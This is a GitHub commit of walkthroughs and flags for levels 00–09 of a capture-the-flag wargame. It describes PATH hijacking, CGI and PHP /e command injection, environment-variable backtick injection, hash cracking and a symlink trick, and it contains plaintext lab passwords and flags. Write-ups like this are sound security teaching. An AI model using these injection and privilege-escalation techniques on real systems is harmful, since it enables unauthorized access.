Skip to content

Commit 9940747

Browse files
Archibald THIRIONArchibald THIRION
Archibald THIRION
authored and
Archibald THIRION
committed
doc done, get all flag
1 parent 12365ff commit 9940747

File tree

35 files changed

+885
-0
lines changed

35 files changed

+885
-0
lines changed

level00/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
x24ti5gi3x0ol2eh4esiuxias

level00/resources/How.md

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# **Level00**
2+
3+
### **Walk through**
4+
5+
A good first step for this level would be a simple `ls -la`. Of course things aren't as simple as that.
6+
7+
As the aim of the whole project and thus of this level too is to be able to `su flag<level>`, we want to search for a file on which the user **flag00** would have some rights. To do so we can try the following command:
8+
9+
`find / -user flag00 -group flag00 2>/dev/null | grep -v proc`
10+
11+
This command gives us that output:
12+
13+
`/usr/sbin/john`
14+
`/rofs/usr/sbin/john`
15+
16+
`ls -la /usr/sbin/john` shows us this:
17+
18+
`----r--r-- 1 flag00 flag00 15 Mar 5 2016 /usr/sbin/john`
19+
20+
We have the permission to read the file, if we `cat /usr/sbin/john` we get:
21+
22+
**`cdiiddwpgswtgt`**
23+
24+
Unfortunately, if we give that as the password of `su flag00` we don't get anywhere. We can easily jump to the conclusion that **`cdiiddwpgswtgt`** is the encrypted password we're looking for. Let's decode it using [**dcode**](https://www.dcode.fr/cipher-identifier). This website offers many decoder tools as well as a cypher identifier. For this one we gonna try to decode it as a Caesar cypher. This tool gives us that solution, who seems pretty good **`nottoohardhere`**. Indeed it is, as we able to log as `su flag00` with it. The last step, according to the subject is to `getflag`. This command gives us our first flag:
25+
26+
**`x24ti5gi3x0ol2eh4esiuxias`**
27+
28+
We will use it to log as level01
29+
30+
`su level01`

level01/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
f2av5il02puano7naaf6adaaf

level01/resources/How.md

+37
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
2+
3+
# **Level01**
4+
5+
### **Walk through**
6+
7+
As we'll do for almost all levels, let's try `ls -la`. Like the last level, it gives us nothing, and it will be the same for the `find` command, the following option `-name flag01` and `-user flag01 -group flag01` won't get us anywhere.
8+
9+
A good option would be to give a look at the file **/etc/passwd**. This file stores very useful users accounts information. This [**documentation**](https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/) gives us some explanations to understand it and use it to our advantage. Let's see what this file contains.
10+
11+
`cat /etc/passwd` gives us this:
12+
13+
`...`
14+
`level13:x:2013:2013::/home/user/level13:/bin/bash`
15+
`level14:x:2014:2014::/home/user/level14:/bin/bash`
16+
`flag00:x:3000:3000::/home/flag/flag00:/bin/bash`
17+
**`flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash`**
18+
`flag02:x:3002:3002::/home/flag/flag02:/bin/bash`
19+
`flag03:x:3003:3003::/home/flag/flag03:/bin/bash`
20+
`...`
21+
22+
Reading the documentation given right above, we see that the **`x`** after the username means that the password of the user is hashed and stored into the file `/etc/shadow`. If we pay attention we'll see that it's not the case for the user we're looking for, we directly got the hash **`42hDRfypTqqnw`** . The issue we're facing now is that a hash is not made to be decoded. Luckily the tool [**John the Ripper**](https://medium.com/@JAlblas/tryhackme-john-the-ripper-walkthrough-75331d14748c) is there to help us.
23+
24+
Following the tutorial we gonna use it the following way:
25+
26+
`echo 42hDRfypTqqnw > encrypt_flag01.txt`
27+
`john encrypt_flag01.txt --show`
28+
29+
John will quickly output the flag01's password: **`abcdefg`**.
30+
31+
All we have to do now is to log as `su flag 01` with that password. `getflag` gives us:
32+
33+
**`f2av5il02puano7naaf6adaaf`**
34+
35+
We will use it to log as level02
36+
37+
`su level02`

level02/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
kooda2puivaav1idi4f57q8iq

level02/level02.pcap

-8.11 KB
Binary file not shown.

level02/resources/How.md

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
2+
3+
# **Level02**
4+
5+
### **Walk through**
6+
7+
This time a simple `ls -la` gives us a result. We find a file **level02.pcap**.
8+
9+
Great, let's find out what's a .pcap file and how to analyze it.
10+
11+
A PCAP (Packet Capture) file is a binary data file that stores network traffic captured during packet sniffing or network monitoring. It contains the raw data of packets, including headers and payloads, allowing for analysis and troubleshooting of network issues.
12+
13+
What we want to do now is to analyze that file and to look for our flag02 through those packets. To do so we gonna use the tool [**Wireshark**](https://www.wireshark.org/docs/wsug_html_chunked/ChapterIntroduction.html) which is a network protocol analyzer.
14+
15+
We can see that the protocol of our network traffic is TCP.
16+
17+
![wireshark](https://github.com/Cristinamois/snowcrash/blob/main/level02/resources/wireshark.png)
18+
19+
Knowing that, we will follow the TCP stream.
20+
21+
`Analyze > Follow > TCP stream`
22+
23+
![tcp_stream](https://github.com/Cristinamois/snowcrash/blob/main/level02/resources/tcp_stream.png)
24+
25+
We can see that the password seems to be **`ft_wandr...NDRel.L0L`** . Looking closer, we see that we can display the stream in ascii but also in hexadecimal. By analyzing the hex version, we see that the `.` corresponds to the ascii code `7f`. That code is actually the code of `DEL`.
26+
Then, the password should be **`ft_waNDReL0L`**.
27+
28+
Using it we can `su flag02`. `getflag` gives us:
29+
30+
**`kooda2puivaav1idi4f57q8iq`**
31+
32+
We will use it to log as level03
33+
34+
`su level03`
35+

level02/resources/tcp_stream.png

59.8 KB
Loading

level02/resources/wireshark.png

286 KB
Loading

level03/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
qi0maab88jeaj46qoumi7maus

level03/resources/How.md

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
2+
3+
# **Level03**
4+
5+
### **Walk through**
6+
7+
For this level, we see that we have a binary in our home. We try to run it:
8+
9+
`./level03` and it gives us `Exploit me`
10+
11+
A good start could be to `strings level03`. This command output a lot of lines. Among them , we can read:
12+
13+
**`/usr/bin/env echo Exploit me`**
14+
15+
So we can suppose that the binary probably call `echo` a some point.
16+
17+
The idea here is to create a program (or a script) called `echo`. Its purpose would be to execute `getflag`. To do so we will execute the following commands:
18+
19+
`echo "/bin/sh -c 'getflag'" > /tmp/echo`
20+
`chmod +x /tmp/echo`
21+
22+
Now we have to modify the path to be sure that level03 runs our echo.
23+
24+
`export PATH=/tmp:$PATH`
25+
26+
By adding the directory `/tmp/` at the beginning of path, our echo will be executed "first". The exploit works.
27+
28+
`./level03` gives us **`qi0maab88jeaj46qoumi7maus`**
29+
30+
We will use it to log as level04
31+
32+
`su level04`

level04/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
ne2searoevaevoem4ov4ar8ap

level04/resources/How.md

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
2+
3+
# **Level04**
4+
5+
### **Walk through**
6+
7+
For this level, we have a file level04.pl in our home. It's a Perl script.
8+
9+
`cat level04.pl` gives us:
10+
11+
```perl
12+
#!/usr/bin/perl
13+
# localhost:4747
14+
use CGI qw{param};
15+
print "Content-type: text/html\n\n";
16+
sub x {
17+
$y = $_[0];
18+
print `echo $y 2>&1`;
19+
}
20+
x(param("x"));
21+
```
22+
**sub x** define a subroutine. In it, there's a variable **y** that takes the value of the first argument of the function. The back ticks mean for **print** that it has to execute the shell command `echo $y 2>&1` instead of print `echo $y 2>&1`. So we can conclude that **y** aka the first param will be executed. So the idea in this case is to pass `getflag` as argument to the **x** subroutine. To do so, we'll use that command:
23+
24+
`curl 'localhost:4747?x=$(getflag)'` gives us **`ne2searoevaevoem4ov4ar8ap`**
25+
26+
We will use it to log as level05
27+
28+
`su level05`

level05/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
viuaaale9huek52boumoomioc

level05/resources/How.md

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
2+
3+
# **Level05**
4+
5+
### **Walk through**
6+
7+
This time, `ls -la` gives us nothing. We try:
8+
9+
`find / -user flag05 -group flag05 2>/dev/null | grep -v proc` that gives us:
10+
11+
```
12+
/usr/sbin/openarenaserver
13+
/rofs/usr/sbin/openarenaserver
14+
```
15+
16+
When we `cat /usr/sbin/openarenaserver` we obtain this output:
17+
18+
```bash
19+
#!/bin/sh
20+
21+
for i in /opt/openarenaserver/* ; do
22+
(ulimit -t 5; bash -x "$i")
23+
rm -f "$i"
24+
done
25+
```
26+
It's a script bash. This script loop over everything in the directory. `ulimit -t 5` gives a limit of 5 seconds of CPU time. `bash -x "$i"` execute **$i** and the **-x** print the command in the standard error output. After the execution of a file, it's deleted.
27+
28+
So the idea is to write a script that will be store in `/opt/openarenaserver/` and executed by the script just above.
29+
30+
To do so,
31+
32+
`echo "getflag > /tmp/flag05" > /opt/openarenaserver/script.sh`
33+
`chmod +x /opt/openarenaserver.sh`
34+
35+
Now all we have to do is:
36+
37+
`cat /tmp/flag05` until the flag appears **`viuaaale9huek52boumoomioc`**
38+
39+
We will use it to log as level06
40+
41+
`su level06`

level06/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
wiok45aaoguiboiki2tuin6ub

level06/resources/How.md

+73
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
2+
3+
4+
# **Level06**
5+
6+
### **Walk through**
7+
8+
For this 6th level we got two files, a .php script and a binary, respectively level06.php and level06.
9+
10+
`cat level06.php`
11+
12+
```php
13+
#!/usr/bin/php
14+
<?php
15+
16+
// Define a function 'y' that replaces '.' with ' x ' and '@' with ' y'
17+
// in a given string.
18+
19+
function y($m) {
20+
$m = preg_replace("/\./", " x ", $m);
21+
$m = preg_replace("/@/", " y", $m);
22+
return $m;
23+
}
24+
25+
// Define a function 'x' that takes two parameters, reads the contents of a file
26+
// specified by the first parameter, and performs some regular expression
27+
// replacements on the content.
28+
29+
function x($y, $z) {
30+
31+
// Read the contents of the file specified by $y into a variable $a.
32+
$a = file_get_contents($y);
33+
34+
// Replace occurrences of '[x (anything)]' with the result of calling function
35+
// 'y' on the captured content.
36+
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
37+
38+
// Replace '[' with '(' and ']' with ')' in the content.
39+
$a = preg_replace("/\[/", "(", $a);
40+
$a = preg_replace("/\]/", ")", $a);
41+
42+
// Return the modified content.
43+
return $a;
44+
}
45+
46+
// Call function 'x' with command-line arguments and print the result.
47+
$r = x($argv[1], $argv[2]);
48+
print $r;
49+
?>
50+
51+
```
52+
53+
We should take a special attention at this precise line:
54+
55+
**`$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);`**
56+
57+
Indeed, the `/e` is a well know vulnerabilities in php script. The e modifier in PHP regular expressions stands for "eval." When used, it allows the evaluation of the matched pattern as PHP code. We will use it at our advantage. We'll write a script that we'll pass as argument at ./level06.
58+
59+
```
60+
echo '[x ${`getflag`}]' > /tmp/flag06
61+
./level06 /tmp/flag06
62+
63+
PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
64+
in /home/user/level06/level06.php(4) : regexp code on line 1
65+
66+
```
67+
68+
The flag is **wiok45aaoguiboiki2tuin6ub**
69+
70+
We will use it to log as level07
71+
72+
`su level07`
73+

level07/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
fiumuikeil55xe9cu4dood66h

level07/resources/How.md

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
2+
3+
# **Level07**
4+
5+
### **Walk through**
6+
7+
In this level, we have a binary level07
8+
9+
`./level07` gives us `level07`
10+
11+
Not so much clues at this point. Using [**ghidra**](https://www.csoonline.com/article/567221/how-to-get-started-using-ghidra-the-free-reverse-engineering-tool.html), we can disassemble the binary in C code.
12+
13+
```C
14+
int main(int argc,char **argv,char **envp) {
15+
char *pcVar1;
16+
int iVar2;
17+
char *buffer;
18+
gid_t gid;
19+
uid_t uid;
20+
char *local_1c;
21+
__gid_t local_18;
22+
__uid_t local_14;
23+
24+
local_18 = getegid();
25+
local_14 = geteuid();
26+
setresgid(local_18,local_18,local_18);
27+
setresuid(local_14,local_14,local_14);
28+
local_1c = (char *)0x0;
29+
pcVar1 = getenv("LOGNAME");
30+
asprintf(&local_1c,"/bin/echo %s ",pcVar1);
31+
iVar2 = system(local_1c);
32+
return iVar2;
33+
}
34+
```
35+
36+
Those two lines are particularly interesting:
37+
38+
`pcVar1 = getenv("LOGNAME");`
39+
`asprintf(&local_1c,"/bin/echo %s ",pcVar1);`
40+
41+
We see that the env var **LOGNAME** is echoed. Indeed when we look at the env, we observe that: `LOGNAME=level07` which makes sense with the current output of `./level07`.
42+
43+
The idea is to change the value of **LOGNAME** to be `getflag`. The issue is that `/bin/echo getflag` just echo `getflag`. The trick is to set `getflag` between back ticks since when echo is follow by an expression between back ticks it executes and prints the result of the expression. Let's change the value of our env var.
44+
45+
```
46+
export LOGNAME='\`getflag\`'
47+
```
48+
49+
Now, `./level07` gives us:
50+
51+
**`fiumuikeil55xe9cu4dood66h`**
52+
53+
We will use it to log as level08
54+
55+
`su level08`

level08/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
25749xKZ8L7DkSCwJkT9dyv6f

level08/resources/How.md

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
2+
3+
# **Level08**
4+
5+
### **Walk through**
6+
7+
This time, we have a binary `level08` and a file `token`
8+
9+
`./level08` gives us `./level08 [file to read]`
10+
11+
`./level08 token` gives us `You may not access 'token'`
12+
13+
`ls -la token` shows us that the permission of that file are `-rw-------`,
14+
15+
We don't have rights on **token**, so the idea is to find a way to use it even if we don't have any access. To do so, we could symlink **token** in `/tmp/token`. Indeed the permission of a symlink are typically always lrwxrwxrwx (read, write, execute for owner, group, and others), regardless of the permissions of the target file. The permissions of the target file are what determine access. If the target file has 600 permissions (read and write for the owner only), the symlink allows anyone with read access to follow the link.
16+
17+
`ln -s /home/user/level08/token /tmp/flag08`
18+
19+
`./level08 /tmp/token` gives us the flag `quif5eloekouj29ke0vouxean`
20+
21+
Using that flag with `su flag08` and doing getflag gives us `25749xKZ8L7DkSCwJkT9dyv6f`
22+
23+
We will use it to log as level09
24+
25+
`su level09`

level09/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
s5cAJpM8ev6XHw998pRWG728z

0 commit comments

Comments
 (0)